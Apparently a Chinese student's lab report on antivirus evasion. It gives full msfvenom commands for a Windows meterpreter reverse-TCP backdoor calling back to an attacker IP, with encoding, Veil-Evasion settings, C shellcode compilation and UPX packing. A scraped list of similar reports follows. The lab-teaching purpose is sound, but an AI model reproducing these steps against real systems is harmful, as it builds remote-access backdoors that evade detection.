20155330 《网络攻防》 Exp3 免杀原理与实践
20155330 《网络攻防》 Exp3 免杀原理与实践
基础问题回答
杀软是如何检测出恶意代码的?
- 基于特征码。先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码。
- 基于行为。杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等行为进行判断。
免杀是做什么?
恶意代码避免杀毒软件查杀,从而实现入侵。
免杀的基本方法有哪些?
- 对恶意代码进行加壳
- 利用shellcode进行编码
实践过程记录
使用msf生成后门程序的检测
将实验二中生成的后门程序上传到virscan中进行扫描,扫描信息及结果如下:



根据扫描结果,有48%的杀软检测出了病毒。
使用msf编码器生成meterpreter可执行文件
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.204.128 LPORT=5330 -f exe > 5330exp3.exe生成一次编码过的可执行文件

- 再次对生成的程序进行扫描,扫描信息及结果如下:



- 相较于直接生成后门程序,进行过编码后的程序依然有48%的杀软检测出病毒。
- 将文件进行十次编码

- 扫描文件,还是被那么多的杀软查杀到,那么多次编码好像也没有太大的作用。



Veil-Evasion免杀平台
- 在终端中使用
veil-evasion命令打开该软件。

- 输入
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.204.138 //设置反弹连接win-IP
set port 443 //设置反弹端口443,默认为4444
generate //生成
5330 //程序名
1



- 从路径
/var/lib/veil-evasion/output/compiled找到相应程序,放到网站上扫描,结果如下:



C语言调用Shellcode
- 在kali主机下打开终端,执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Kali-IP LPORT=443 -f c,生成一个C语言数组。


- 创建一个C文件(可用
touch命令生成):MSSC_5330.c(免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数。


- 使用
i686-w64-mingw32-g++ MSSC_5330.c -o MSSC_5330.exe命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件MSSC_5330.exe。

- 放到网站上扫描一下,发现可以检测到病毒的杀软更少了。


- 通过
nc命令将可执行文件传到win7主机上,很快就被查杀了QAQ。

加壳
- 通过命令
upx #需要加壳的文件名 -o #加壳后的文件名,生成程序。

- 放到网站上扫描一下,emmmmm...没什么变化……


- 再传到win7主机上,扫描一下。

- 好像可以了?看看扫描日志。

- 过了一会,又被查杀了TUT。

离实战还缺些什么技术或步骤?
应该是对编写免杀代码还不太了解,以目前的能力还只能依靠软件来生成代码,如果是纯手工的代码可能免杀的几率会更大一些。
实践总结与体会
通过不同的方式对恶意代码生成病毒程序有了一定的了解,可以简单制作出一些免杀后门。从而也了解到了目前我们所信赖的杀软其实还是存在着一些漏洞,假设将shellcode进行重新组合再加壳的话,免杀率应该还会再上升,从而通过杀软的扫描,入侵靶机。
20155330 《网络攻防》 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践
2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...
- 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...
- 20145236《网络攻防》 Exp3 免杀原理与实践
20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...
- 20155226《网络攻防》 Exp3 免杀原理与实践
20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...
- 20155308 《网络攻防》 Exp3 免杀原理与实践
20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...
- 20155318 《网络攻防》Exp3 免杀原理与实践
20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...
- 20155321 《网络攻防》 Exp3 免杀原理与实践
20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...
- 2015306 白皎 《网络攻防》Exp3 免杀原理与实践
2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...
- 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践
### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...
随机推荐
- [Android] ACTION_GET_CONTENT与ACTION_PICK的区别
参考:AndroidSDK/docs/reference/android/content/Intent 看到相关代码,对这两个参数的区别有点搞不清. 原文地址请保留http://www.cnblogs ...
- oracle数据库occi接口写入中文乱码解决方法
将初始化代码中 Environment::createEnvironment(Environment::DEFAULT); 改为 Environment::createEnvironment(“UTF ...
- 几个python函数
迭代器 fun函数 过滤作用 s=['a', 'b', 'c'] def fun1(s): if s!='a': return s ret filter(fun1, str) print(ret) ...
- 如何借助 NoSQL 提高 JPA 应用性能
[编者按]关注 NoSQL 的动态发展很重要.NoSQL 的好处并不仅限于新的应用开发.在某些案例中,你可以见识到重新访问现有的.传统的框架带来的积极效果,比如说你的 JPA 的实现.本文系国内 IT ...
- windows 服务器远程桌面 你的凭据不工作
一.问题描述 通过windows 远程桌面连接服务器时,输入正确的用户名和密码,点击连接按钮时,提示“你的凭据不工作”,但是其他个别电脑可以通过远程桌面远程到目标服务器.问题描述如下图所示: 二. ...
- 单例模式实现 Volitile , interlocked
//单例模式: //1. 双检锁机制 Volatile.write() //2. 静态变量 //3. Interlocked.CompareExchange(ref single, temp, nul ...
- mysql client之init-command
If the server is a replication master and you want to avoid replicating the content to replication s ...
- UNIX高级环境编程(12)进程关联(Process Relationships)- 终端登录过程 ,进程组,Session
在前面的章节我们了解到,进程之间是有关联的: 每个进程都有一个父进程: 子进程退出时,父进程可以感知并且获取子进程的退出状态. 本章我们将了解: 进程组的更多细节: sessions的内容: logi ...
- Python学习--- requests库中文编码问题
为什么会有ISO-8859-1这样的字符集编码 requests会从服务器返回的响应头的 Content-Type 去获取字符集编码,如果content-type有charset字段那么request ...
- Java AWT
AWT是抽象窗口工具包,是API为Java 程序提供的建立图形用户界面GUI (Graphics User Interface)工具集,AWT可用于Java的applet和applications中. ...